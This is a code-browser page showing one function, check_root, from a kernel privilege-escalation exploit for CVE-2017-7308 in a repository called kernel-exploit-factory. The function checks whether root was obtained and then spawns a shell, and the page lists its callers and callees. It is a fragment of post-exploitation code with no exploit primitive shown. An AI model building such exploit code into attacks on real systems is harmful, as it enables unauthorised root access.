MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / check_root

Function check_root

CVE-2017-7308/exploit.c:313–327  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

311}
312
313void check_root() {
314 printf("[.] checking if we got root\n");
315
316 if (!is_root()) {
317 printf("[-] something went wrong =(\n");
318 return;
319 }
320
321 printf("[+] got r00t ^_^\n");
322
323 // Fork and exec instead of just doing the exec to avoid potential
324 // memory corruptions when closing packet sockets.
325 fork_shell();
326 // exec_shell();
327}
328
329bool write_file(const char* file, const char* what, ...) {
330 char buf[1024];

Callers 1

mainFunction · 0.70

Calls 2

is_rootFunction · 0.70
fork_shellFunction · 0.70

Tested by

no test coverage detected